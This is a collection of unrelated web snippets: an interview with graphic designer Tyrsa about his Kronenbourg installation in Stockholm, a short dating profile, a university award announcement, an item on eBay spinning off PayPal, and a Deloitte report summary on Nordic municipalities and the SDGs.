I guess everything began when I got into graffiti in 1999, Tyrsa says. I didn't have any artistic knowledge whatsoever, but when I discovered hip hop culture and graffiti I became really passionate about visual culture and decided to study graphic design at Gobelins in Paris. During my studies I became aware of the history of typography, and realised that what I was doing with graffiti few years back, had already been done by typographers more than 50 years ago.
Since he graduated from Gobelins in 2008, Tyrsa, or Alexis Taïeb as is his real name, has earned himself a reputation as a graphic designer within the fields of art and advertising. With a sense of humour and an eye for striking typography, he has worked with everything from websites to wall paintings, collaborating with brands and magazines such as Cartier, Nike, Adidas, Le Coq Sportif, Element, Black Rainbow, and Hypebeast.
Where do you find your inspirations and influences?
This week, Tyrsa has been invited to Stockholm by the French beer brand Kronenbourg to exhibit his art at the legendary restaurant Prinsen under the name of The 1664 Experience. Leaving his mark on everything from the walls to the menus, the restaurant will virtually be turned into an enormous street art installation.
– I was excited when Kronenbourg asked me to create an installation at Prinsen, Tyrsa says. I've never been to Stockholm before, so this project was a great opportunity for me to discover the city. I really appreciate the high quality and exquisite workmanship of Swedish art and culture, something I feel that I can relate to. My work is really detailed and I love to spend a lot of time on it.
What happens next ?


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Wagoner, Oklahoma
I am very loving & big hearted. I love to cook and make my guy feel very special and spoiled. I love going for walks and holding hands. I also love helping others.
My two things to live by are:
"Offense is taken, not given" and "blessed to be a blessing&q...


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Ihrig receives 2015 NARST Outstanding Paper Award
Ihrig receives 2015 NARST Outstanding Paper Award
By: Office of Strategic Communication | 2015.01.06 | 01:13 pm
Lori Ihrig, administrator of curriculum and instruction at the University of Iowa College of Education's Belin-Blank Center, has been selected by the National Association for Research Science in Science Teaching (NARST), a world wide organization for improving science teaching and learning through research, for the 2015 NARST Outstanding Paper Award for a conference paper she wrote with Michael Clough and Joanne Olson from Iowa State University in Ames.
The award indicates their conference paper titled: "Effects of Socialization on First Year Science Teachers' Pedagogical Decision Making and Science Instruction" received the highest ratings among all nominated papers presented at the 2014 NARST International Annual Conference.
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text: For the longest time, eBay and PayPal have been synonymous entities, but even the strongest bonds sometimes have to come to an end. That is exactly what is going to happen in 2015 when auction giant, eBay, lets PayPal go and operate as its own separate business so that it can better focus their efforts against the growing threat of Apple Pay, Square and other upcoming payment schemes. As a result of all these changes, eBay's CEO and CFO will step down, but remain as board members, leaving the door open for Devin Wenig to take the reins, and Dan Schulman of American Express will be moving over as the new CEO of PayPal in 2015. This comes after months of pressure to cut away PayPal, and although eBay has previously fought tooth and nail to stop that from happening, it appears the inevitable has happened, though it appears that this ...Read More »


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From global goals to local development
The Sustainable Development Goals have become an important signpost for the Nordic municipalities' work with innovation, partnerships and communication.
However, only few Nordic municipalities have yet realised the full potential behind the SDGs, according to Deloitte's report on Nordic municipalities' localization of the SDGs.
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The report demonstrates how innovation and partnerships are two of the big themes in most of the Nordic municipalities' work to localise the SDGs. Many view innovation and partnerships as the launchpad for addressing existing challenges in new ways and in partnership with others.
The report also shows how the majority of the Nordic municipalities make use of the SDGs as a point of reference in their communication with a view to mobilise local stakeholders around a common agenda.
In this way, 3 in 5 of the Nordic municipal leaders believe that the SDGs can be a door opener for local growth and public innovation and they view partnerships as a way to get there.
"With the report, we see a tendency that the Nordic municipalities are starting to leverage the SDGs in a strategic way. Through interviews with 181 heads of administration it is clear that visionary municpal leaders and politicians increasingly wish to drive this agenda locally", says Bahare Hagshenas, Senior Manager at Deloitte Denmark.
Three levels of implementation
This report and Deloitte's experience from providing consultancy service to the public sector suggest that municipalities can work with the SDGs at three levels:
- Demonstrating and communicating how existing initiatives link to the SDGs and mobilising stakeholders around a common agenda.
- Stimulating action by strengthening collaboration across the administration, by adopting a SDG plan, by including sustainability criteria in public tenders, procurement and investment policies, and by supporting local companies in integrating the SDGs into operations.
- Working to strengthen private sector engagement in the SDGs and catalysing development of new and innovative solutions with positive impact on society, the environment and financial growth.
About the report
2018 is the second year that Deloitte develops a report on the localisation of the SDGs. The first report, published in June 2017, covered Danish municipalities only. In this second version, published June 2018, the scope covers municipalities in Denmark, Norway, Sweden and Finland.
The report is based on data from interviews conducted primarily with heads of administration in the four countries during the period from 20 February to 20 April 2018. In some instances, interviews have been conducted with other municipal leaders with special insight into the SDGs.
Danish version of the report can be found here.